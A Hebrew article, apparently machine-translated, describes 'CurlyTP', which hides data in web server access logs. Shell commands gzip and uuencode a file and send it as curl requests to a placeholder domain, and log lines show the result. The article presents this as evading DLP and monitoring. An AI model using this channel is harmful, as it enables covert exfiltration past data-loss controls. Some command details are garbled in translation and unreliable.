על פי ההגדרה של ויקיפדיה, טיפה מתה היא כלי קונספירציה המשמש להחלפת מידע או פריטים מסוימים בין אנשים באמצעות מיקום סודי. הרעיון הוא שאנשים אף פעם לא נפגשים - אבל הם עדיין מחליפים מידע כדי לשמור על בטיחות תפעולית.

מקום המסתור לא צריך למשוך תשומת לב. לכן, בעולם הלא מקוון הם מרבים להשתמש בדברים דיסקרטיים: לבנה רופפת בקיר, ספר ספרייה או שקע בעץ.

ישנם כלי הצפנה ואנונימיזציה רבים באינטרנט, אך עצם השימוש בכלים אלו מושך תשומת לב. בנוסף, הם עלולים להיחסם ברמת החברה או הממשל. מה לעשות?

היזם Ryan Flowers הציע אפשרות מעניינת - השתמש בכל שרת אינטרנט כמקום מסתור. אם אתה חושב על זה, מה עושה שרת אינטרנט? מקבל בקשות, מנפיק קבצים וכותב יומנים. וזה רושם את כל הבקשות, אפילו לא נכונים!

מסתבר שכל שרת אינטרנט מאפשר לשמור כמעט כל הודעה ביומן. פרחים תהו איך להשתמש בזה.

הוא מציע את האפשרות הזו:

1. קח קובץ טקסט (הודעה סודית) וחשב את ה-hash (md5sum).
2. אנו מקודדים אותו (gzip+uuencode).
3. אנו כותבים ליומן באמצעות בקשה לא נכונה בכוונה לשרת.

Local:
[root@local ~]# md5sum g.txt
a8be1b6b67615307e6af8529c2f356c4 g.txt

[root@local ~]# gzip g.txt
[root@local ~]# uuencode g.txt > g.txt.uue
[root@local ~]# IFS=$'n' ;for x in `cat g.txt.uue| sed 's/ /=+=/g'` ; do echo curl -s "http://domain.com?transfer?g.txt.uue?$x" ;done | sh

כדי לקרוא קובץ, עליך לבצע את הפעולות הללו בסדר הפוך: פענוח ופתח את הקובץ, בדוק את ה-hash (ניתן להעביר את ה-hash בבטחה בערוצים פתוחים).

החללים מוחלפים ב =+=כדי שלא יהיו רווחים בכתובת. התוכנית, שהמחבר קורא לה CurlyTP, משתמשת בקידוד base64, כמו קבצים מצורפים לדוא"ל. הבקשה נעשית עם מילת מפתח ?transfer?כך שהנמען יוכל למצוא אותו בקלות ביומנים.

מה אנו רואים ביומנים במקרה זה?

1.2.3.4 - - [22/Aug/2019:21:12:00 -0400] "GET /?transfer?g.gz.uue?begin-base64=+=644=+=g.gz.uue HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:01 -0400] "GET /?transfer?g.gz.uue?H4sICLxRC1sAA2dpYnNvbi50eHQA7Z1dU9s4FIbv8yt0w+wNpISEdstdgOne HTTP/1.1" 200 4050 "-" "curl/7.29.0"
1.2.3.4 - - [22/Aug/2019:21:12:03 -0400] "GET /?transfer?g.gz.uue?sDvdDW0vmWNZiQWy5JXkZMyv32MnAVNgQZCOnfhkhhkY61vv8+rDijgFfpNn HTTP/1.1" 200 4050 "-" "curl/7.29.0"

כפי שכבר צוין, כדי לקבל הודעה סודית עליך לבצע את הפעולות בסדר הפוך:

Remote machine

[root@server /home/domain/logs]# grep transfer access_log | grep 21:12| awk '{ print $7 }' | cut -d? -f4 | sed 's/=+=/ /g' > g.txt.gz.uue
[root@server /home/domain/logs]# uudecode g.txt.gz.uue

[root@server /home/domain/logs]# mv g.txt.gz.uue g.txt.gz
[root@server /home/domain/logs]# gunzip g.txt.gz
[root@server /home/domain/logs]# md5sum g
a8be1b6b67615307e6af8529c2f356c4 g

התהליך קל לאוטומטי. Md5sum תואם, ותוכן הקובץ מאשר שהכל פוענח נכון.

השיטה פשוטה מאוד. "המטרה של התרגיל הזה היא רק להוכיח שניתן להעביר קבצים באמצעות בקשות אינטרנט קטנות תמימות, וזה עובד על כל שרת אינטרנט עם יומני טקסט רגיל. בעצם, כל שרת אינטרנט הוא מקום מסתור!" כותבת פרחים.

כמובן, השיטה פועלת רק אם לנמען יש גישה ליומני שרת. אבל גישה כזו מסופקת, למשל, על ידי מארחים רבים.

כיצד להשתמש בו?

Ryan Flowers אומר שהוא לא מומחה לאבטחת מידע ולא יערוך רשימה של שימושים אפשריים עבור CurlyTP. מבחינתו, זו רק הוכחה לקונספט שאפשר להשתמש בכלים המוכרים שאנו רואים מדי יום בצורה לא שגרתית.

למעשה, לשיטה זו יש מספר יתרונות על פני "מחבואים" אחרים של שרתים דרופ מתים דיגיטלי או PirateBox: זה לא דורש קונפיגורציה מיוחדת בצד השרת או פרוטוקולים מיוחדים כלשהם - ולא יעורר חשד בקרב העוקבים אחר התעבורה. אין זה סביר שמערכת SORM או DLP תסרוק כתובות URL עבור קבצי טקסט דחוסים.

זוהי אחת הדרכים להעברת הודעות באמצעות קבצי שירות. אתה יכול לזכור איך כמה חברות מתקדמות נהגו למקם משרות מפתחים בכותרות HTTP או בקוד של דפי HTML.

הרעיון היה שרק מפתחי אתרים יראו את ביצת הפסחא הזו, מכיוון שאדם רגיל לא יסתכל בכותרות או בקוד HTML.

מקור: www.habr.com